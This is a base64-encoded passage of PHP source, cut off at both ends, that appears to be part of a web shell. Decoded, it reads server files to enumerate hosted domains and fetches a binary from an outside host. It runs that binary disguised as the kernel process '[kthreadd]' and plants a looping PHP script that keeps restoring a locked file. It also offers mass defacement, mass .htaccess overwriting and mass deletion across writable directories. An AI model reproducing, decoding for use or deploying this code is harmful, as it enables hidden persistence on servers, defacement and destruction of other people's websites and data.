pcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJHR5cGU7CiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRvbWFpbl9qdW1wID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZG9tYWluX2p1bXAgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbiA9ICJDYW4ndCBnZXQgZG9tYWluIjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvbWFpbnNfanVtcFsxXSBhcyAkZGopIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9ICR1c2VyX2p1bXBpbmdfdXJsWyduYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHVzZXJfanVtcGluZ191cmwgPT0gJHVzZXJfcHJvX2p1bXApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPT4gKCA8dT4kZGo8L3U+ICk8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CmlmICgkaSA9PSAwKSB7Cn0gZWxzZSB7CiAgICBlY2hvICI8YnI+VG90YWwgIiAuICRpIC4gIiBEaXJlY3RvcnkgIiAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICIiOwp9Cn0KCi8vIGxvY2sgZmlsZQpmdW5jdGlvbiBsb2NrZmlsZXMoKSB7CiAkbG9ja25hbWUgPSAkX1BPU1RbImxvY2tmaWxlIl07CiAkZGlybmEgPSBnZXRjd2QoKTsKICRwYXRoc3MgPSAkZGlybmEuJy8nLiRsb2NrbmFtZTsKICRfMV8zXzNfN18gPSAnL2Rldi9zaG0nOwogaWYgKCFpc19kaXIoJF8xXzNfM183XyAuICIvLnNlc3MiKSkgewogbWtkaXIoJF8xXzNfM183XyAuICIvLnNlc3MiLCAwNzAwLCB0cnVlKTsKIH0KIGlmICghaXNfZmlsZSgkXzFfM18zXzdfIC4gJy8uc2Vzcy8nIC4gbmFtZVNoaXooKSAuICIuZGF0IikpIHsKIGNvcHkoJGRpcm5hLicvJy4kbG9ja25hbWUsICRfMV8zXzNfN18gLiAiLy5zZXNzLyIgLiBuYW1lU2hpeigpIC4gIi5kYXQiKTsKIH0KIGlmIChmaWxlX2V4aXN0cygkXzFfM18zXzdfIC4gIi8uc2Vzcy8iIC4gbmFtZVNoaXooKSAuICIuZGF0IikpIHsKICRfMV8zXzNfID0gJF8xXzNfM183XyAuICIvLnNlc3MvIiAuIG5hbWVTaGl6KCkgLiAiLmRhdCI7CiAkYmluID0gJ2h0dHBzOi8vZmlsZXMuc2hpenVvbmV0LndvcmsvdXBsb2Fkcy9maWxlXzY1NzU0MjAyMjQzYzJfbG9jayc7CiAkbG9ja3NzID0gJF8xXzNfM183XyAuICcvLnNlc3MvbG9jayc7CiBmZG93bigkYmluLCAkbG9ja3NzKTsKIGNobW9kKCRsb2Nrc3MsIDA3NzcpOwokYSA9ICInJChwcmludGYgW2t0aHJlYWRkXSknIjsKICRhcmcgPSAnRElSPScgLiAkZGlybmEgLiAnIEZJTEU9JyAuICRwYXRoc3MgLiAnIFRFTVA9JyAuICRfMV8zXzNfOwogZXhlKCdiYXNoIC1jICInIC4gJGFyZyAuJyBleGVjIC1hICcuICRhIC4nICcgLiAkbG9ja3NzIC4gJyA+IC9kZXYvbnVsbCAyPiYxICYiJyk7CiB9CiB9CgogZnVuY3Rpb24gbG9ja2ZpbGVzaGlkZGVuKCkgeyAkbG9ja25hbWUgPSAkX1BPU1RbImxvY2tmaWxlc3MiXTsgJGRpcm5hID0gZ2V0Y3dkKCk7ICRfMV8zXzNfN18gPSBzeXNfZ2V0X3RlbXBfZGlyKCk7IGlmICghaXNfZGlyKCRfMV8zXzNfN18gLiAiLy5zZXNzIikpIHsgbWtkaXIoJF8xXzNfM183XyAuICIvLnNlc3MiKTsgfSBpZiAoIWlzX2ZpbGUoJF8xXzNfM183XyAuICcvLnNlc3MvJyAuIG5hbWVTaGl6KCkgLiAiLmRhdCIpKSB7IGNvcHkoJGRpcm5hLicvJy4kbG9ja25hbWUsICRfMV8zXzNfN18gLiAiLy5zZXNzLyIgLiBuYW1lU2hpeigpIC4gIi5kYXQiKTsgfSBpZiAoZmlsZV9leGlzdHMoJF8xXzNfM183XyAuICIvLnNlc3MvIiAuIG5hbWVTaGl6KCkgLiAiLmRhdCIpKSB7ICRfMV8zXzNfID0gJF8xXzNfM183XyAuICIvLnNlc3MvIiAuIG5hbWVTaGl6KCkgLiAiLmRhdCI7IGZpbGVfcHV0X2NvbnRlbnRzKCRfMV8zXzNfN18gLiAiLy5zZXNzLyIgLiBoYW5kbGVyTmEoKSAuICIuZGF0IiwgJzw/cGhwIHdoaWxlKFRydWUpe2lmKCFmaWxlX2V4aXN0cygiJyAuICRkaXJuYSAuICciKSl7bWtkaXIoIicgLiAkZGlybmEgLiAnIik7fWlmKCFmaWxlX2V4aXN0cygiJyAuICRkaXJuYSAuICcvJyAuICRsb2NrbmFtZSAuICciKSl7Y29weSgiJyAuICRfMV8zXzNfIC4gJyIsIicgLiAkZGlybmEgLiAnLycgLiAkbG9ja25hbWUgLiAnIik7fWlmKGZpbGVwZXJtcygiJyAuICRkaXJuYSAuICcvJyAuICRsb2NrbmFtZSAuICciKSE9IjA1NTUiKXtjaG1vZCgiJyAuICRkaXJuYSAuICcvJyAuICRsb2NrbmFtZSAuICciLDA1NTUpO31pZihmaWxlcGVybXMoIicgLiAkZGlybmEgLiAnIikhPSIwNTU1Iil7Y2htb2QoIicgLiAkZGlybmEgLiAnIiwwNTU1KTt9fSA/PicpOyBjaG1vZCgkZGlybmEuJy8nLiRsb2NrbmFtZSwgMDU1NSk7IGNobW9kKCRkaXJuYSwgMDU1NSk7CiAgICAkYSA9ICInJChwcmludGYgW2tibG9ja2RdKSciOwogICAgZXhlKCdiYXNoIC1jICJleGVjIC1hICcgLiAkYSAuICcgcGhwICcgLiAkXzFfM18zXzdfIC4gJy8uc2Vzcy8nIC4gaGFuZGxlck5hKCkgLiAnLmRhdCA+IC9kZXYvbnVsbCAyPiYxICYiJyk7IH0gfQoKLy8gTWFzcyBEZWZhY2UKZnVuY3Rpb24gbWFzc2RlZmFjZSgkcGF0aCkgewogICAgZnVuY3Rpb24gbWFzc19hbGwoJGRpciwkbmFtZWZpbGUsJGNvbnRlbnRzX3NjKSB7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICTilpogPSAkZGlyYy4nLycuJG5hbWVmaWxlOwogICAgICAgICAgICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCTilposICRjb250ZW50c19zYyk7CiAgICAgICAgICAgICAgICB9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCTilposICRjb250ZW50c19zYyk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbPGdyPjxpIGNsYXNzPSdmYSBmYS1jaGVjay1hbGwnPjwvaT48L2dyPl0mbmJzcDsk4paaPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygk4paaLCAkY29udGVudHNfc2MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWnyA9IG1hc3NfYWxsKCRkaXJjLCRuYW1lZmlsZSwkY29udGVudHNfc2MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG1hc3Nfb25lZGlyKCRkaXIsJG5hbWVmaWxlLCRjb250ZW50c19zYykgewogICAgICAgICAgICBpZihpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICAgICAgZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewogICAgICAgICAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAgICAgICAgICTilpogPSAkZGlyYy4nLycuJG5hbWVmaWxlOwogICAgICAgICAgICAgICAgICAgIGlmKCRkaXJiID09PSAnLicpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGNvbnRlbnRzX3NjKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygk4paaLCAkY29udGVudHNfc2MpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Z3I+PGkgY2xhc3M9J2ZhIGZhLWNoZWNrLWFsbCc+PC9pPjwvZ3I+XSZuYnNwOyRkaXJiLyRuYW1lZmlsZTxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCTilposICRjb250ZW50c19zYyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICBpZiAoaXNzZXQoJF9QT1NUWydzdGFydCddKSkgewogICAgICAgICRuYW1lID0gJF9QT1NUWydtYXNzRGVmTmFtZSddOwogICAgICAgIGVjaG8gIjxjZW50ZXI+LS0tLS0tLSBSZXN1bHQgLS0tLS0tLTwvY2VudGVyPiI7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY2FyZCB0ZXh0LXB1cnBsZSBjb2wtbWQtNyBtYi0zIG10LTIiPic7CiAgICAgICAgZWNobyAiPHByZT5Eb25lIH5+PGJyPjxicj4kbmFtZTxicj4iOwogICAgICAgIGlmKCRfUE9TVFsndGlwZSddID09ICdtYXNzJykgewogICAgICAgICAgICBtYXNzX2FsbCgkX1BPU1RbJ21hc3NEZWZEaXInXSwgJF9QT1NUWydtYXNzRGVmTmFtZSddLCAkX1BPU1RbJ21hc3NEZWZDb250ZW50J10pOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIG1hc3Nfb25lZGlyKCRfUE9TVFsnbWFzc0RlZkRpciddLCAkX1BPU1RbJ21hc3NEZWZOYW1lJ10sICRfUE9TVFsnbWFzc0RlZkNvbnRlbnQnXSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gJzwhLS0gbWFzcyBkZWZhY2UgLS0+ICAnOwogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1tZC01Ij4nOwogICAgICAgIGVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPic7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0ibWItMyI+JzsKICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdvbmVkaXInIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgogICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSdmb3JtLWNoZWNrLWxhYmVsJyBmb3I9J2ZsZXhDaGVja0RlZmF1bHQnPk9uZSBkaXJlY3Rvcnk8L2xhYmVsPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0nZm9ybS1jaGVjayc+CiAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nbWFzcycgbmFtZT0ndGlwZScgaWQ9J2ZsZXhDaGVja0RlZmF1bHQnPgogICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSdmb3JtLWNoZWNrLWxhYmVsJyBmb3I9J2ZsZXhDaGVja0RlZmF1bHQnPkFsbCBkaXJlY3Rvcnk8L2xhYmVsPgogICAgICAgICAgICA8L2Rpdj4iOwogICAgICAgIGVjaG8gJzxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RGlyZWN0b3J5PC9sYWJlbD4nOwogICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSdtYXNzRGVmRGlyJyB2YWx1ZT0nJHBhdGgnPiI7CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJtYi0zIj4nOwogICAgICAgIGVjaG8gJzxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RmlsZSBOYW1lPC9sYWJlbD4nOwogICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJtYXNzRGVmTmFtZSIgcGxhY2Vob2xkZXI9InRlc3QucGhwIj4nOwogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0ibWItMyI+JzsKICAgICAgICBlY2hvICc8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkZpbGUgQ29udGVudDwvbGFiZWw+JzsKICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0ibWFzc0RlZkNvbnRlbnQiIHJvd3M9IjciIHBsYWNlaG9sZGVyPSJIZWxsbyBXb3JsZCI+PC90ZXh0YXJlYT4nOwogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgZWNobyAnPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IHRleHQtcHVycGxlIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN0YXJ0Ij5TdWJtaXQ8L2J1dHRvbj4nOwogICAgICAgIGVjaG8gJzwvZm9ybT4nOwogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICB9Cn0KCmZ1bmN0aW9uIG1hc3NodGFjY2VzcygkcGF0aCkgewogICAgZnVuY3Rpb24gbWFzc2h0X2FsbCgkZGlyLCRuYW1lZmlsZSwkY29udGVudHNfc2MpIHsKICAgICAgICBpZihpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICAgICAkZGlyYSA9IHNjYW5kaXIoJGRpcik7CiAgICAgICAgICAgIGZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKICAgICAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAgICAgJOKWmiA9ICRkaXJjLicvJy4kbmFtZWZpbGU7CiAgICAgICAgICAgICAgICBpZigkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGNvbnRlbnRzX3NjKTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGNvbnRlbnRzX3NjKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkZGlyYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Z3I+PGkgY2xhc3M9J2ZhIGZhLWNoZWNrLWFsbCc+PC9pPjwvZ3I+XSZuYnNwOyTilpo8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCTilposICRjb250ZW50c19zYyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafID0gbWFzc19hbGwoJGRpcmMsJG5hbWVmaWxlLCRjb250ZW50c19zYyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gbWFzc2h0X29uZWRpcigkZGlyLCRuYW1lZmlsZSwkY29udGVudHNfc2MpIHsKICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgICAgICRkaXJhID0gc2NhbmRpcigkZGlyKTsKICAgICAgICAgICAgICAgIGZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKICAgICAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICAgICAk4paaID0gJGRpcmMuJy8nLiRuYW1lZmlsZTsKICAgICAgICAgICAgICAgICAgICBpZigkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCTilposICRjb250ZW50c19zYyk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGNvbnRlbnRzX3NjKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkZGlyYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbPGdyPjxpIGNsYXNzPSdmYSBmYS1jaGVjay1hbGwnPjwvaT48L2dyPl0mbmJzcDskZGlyYi8kbmFtZWZpbGU8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygk4paaLCAkY29udGVudHNfc2MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgaWYgKGlzc2V0KCRfUE9TVFsnc3RhcnQnXSkpIHsKICAgICAgICAkbmFtZSA9ICRfUE9TVFsnbWFzc0RlZk5hbWUnXTsKICAgICAgICBlY2hvICI8Y2VudGVyPi0tLS0tLS0gUmVzdWx0IC0tLS0tLS08L2NlbnRlcj4iOwogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNhcmQgdGV4dC1wdXJwbGUgY29sLW1kLTcgbWItMyBtdC0yIj4nOwogICAgICAgIGVjaG8gIjxwcmU+RG9uZSB+fjxicj48YnI+JG5hbWU8YnI+IjsKICAgICAgICBpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzcycpIHsKICAgICAgICAgICAgbWFzc2h0X2FsbCgkX1BPU1RbJ21hc3NEZWZEaXInXSwgIlx4MkVceDY4XHg3NFx4NjFceDYzXHg2M1x4NjVceDczXHg3MyIsICRfUE9TVFsnbWFzc0RlZkNvbnRlbnQnXSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFzc2h0X29uZWRpcigkX1BPU1RbJ21hc3NEZWZEaXInXSwgIlx4MkVceDY4XHg3NFx4NjFceDYzXHg2M1x4NjVceDczXHg3MyIsICRfUE9TVFsnbWFzc0RlZkNvbnRlbnQnXSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gJzwhLS0gbWFzcyBkZWZhY2UgLS0+ICAnOwogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1tZC01Ij4nOwogICAgICAgIGVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPic7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0ibWItMyI+JzsKICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdvbmVkaXInIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgogICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSdmb3JtLWNoZWNrLWxhYmVsJyBmb3I9J2ZsZXhDaGVja0RlZmF1bHQnPk9uZSBkaXJlY3Rvcnk8L2xhYmVsPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0nZm9ybS1jaGVjayc+CiAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nbWFzcycgbmFtZT0ndGlwZScgaWQ9J2ZsZXhDaGVja0RlZmF1bHQnPgogICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSdmb3JtLWNoZWNrLWxhYmVsJyBmb3I9J2ZsZXhDaGVja0RlZmF1bHQnPkFsbCBkaXJlY3Rvcnk8L2xhYmVsPgogICAgICAgICAgICA8L2Rpdj4iOwogICAgICAgIGVjaG8gJzxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RGlyZWN0b3J5PC9sYWJlbD4nOwogICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSdtYXNzRGVmRGlyJyB2YWx1ZT0nJHBhdGgnPiI7CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJtYi0zIj4nOwogICAgICAgIGVjaG8gJzxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RmlsZSBDb250ZW50PC9sYWJlbD4nOwogICAgICAgIGVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJtYXNzRGVmQ29udGVudCIgcm93cz0iNyIgcGxhY2Vob2xkZXI9IkhlbGxvIFdvcmxkIj48L3RleHRhcmVhPic7CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3RhcnQiPlN1Ym1pdDwvYnV0dG9uPic7CiAgICAgICAgZWNobyAnPC9mb3JtPic7CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgIH0KfQoKLy8gTWFzcyBEZWxldGUKZnVuY3Rpb24gbWFzc2RlbGV0ZSgkcGF0aCkgewogICAgZnVuY3Rpb24gbWFzc2RlbCgkZGlyLCAkZmlsZSkgewogICAgICAgIGlmIChpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICAgICAkZGlyYSA9IHNjYW5kaXIoJGRpcik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJGZpbGU7CiAgICAgICAgICAgICAgICBpZiAoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiJGRpci8kZmlsZSIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygiJGRpci8kZmlsZSIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygnJy5kaXJuYW1lKCRkaXIpLiIvJGZpbGUiKSkgewogICAgICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJycuZGlybmFtZSgkZGlyKS4iLyRmaWxlIik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfd3JpdGFibGUoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGxva2FzaSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiRsb2thc2kgPiBEZWxldGVkXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkbG9rYXNpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWFzc2RlbCA9IG1hc3NkZWwoJGRpcmMsICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ21hc3NEZWwnXSkgJiYgaXNzZXQoJF9QT1NUWydtYXNzRGVsTmFtZSddKSkgewogICAgICAgICRuYW1lID0gJF9QT1NUWydtYXNzRGVsTmFtZSddOwogICAgICAgIGVjaG8gIjxjZW50ZXI+LS0tLS0tLSBSZXN1bHQgLS0tLS0tLTwvY2VudGVyPiI7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY2FyZCB0ZXh0LXB1cnBsZSBjb2wtbWQtNyBtYi0zIG10LTIiPic7CiAgICAgICAgZWNobyAiPHByZT5Eb25lIH5+PGJyPjxicj4uLyRuYW1lID4gRGVsZXRlZDxicj4iOwogICAgICAgIG1hc3NkZWwoJF9QT1NUWydtYXNzRGVsJ10sICRuYW1lKTsKICAgICAgICBlY2hvICc8L3ByZT48L2Rpdj4nOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICc8IS0tIG1hc3MgZGVsZXRlIC0tPiAgJzsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtbWQtNSI+JzsKICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4nOwogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9Im1iLTMiPic7CiAgICAgICAgZWNobyAnPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5EaXJlY3Rvcnk8L2xhYmVsPic7CiAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIG5hbWU9J21hc3NEZWwnIHZhbHVlPSckcGF0aCc+IjsKICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9Im1iLTMiPic7CiAgICAgICAgZWNobyAnPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5GaWxlIE5hbWU8L2xhYmVsPic7CiAgICAgICAgZWNobyA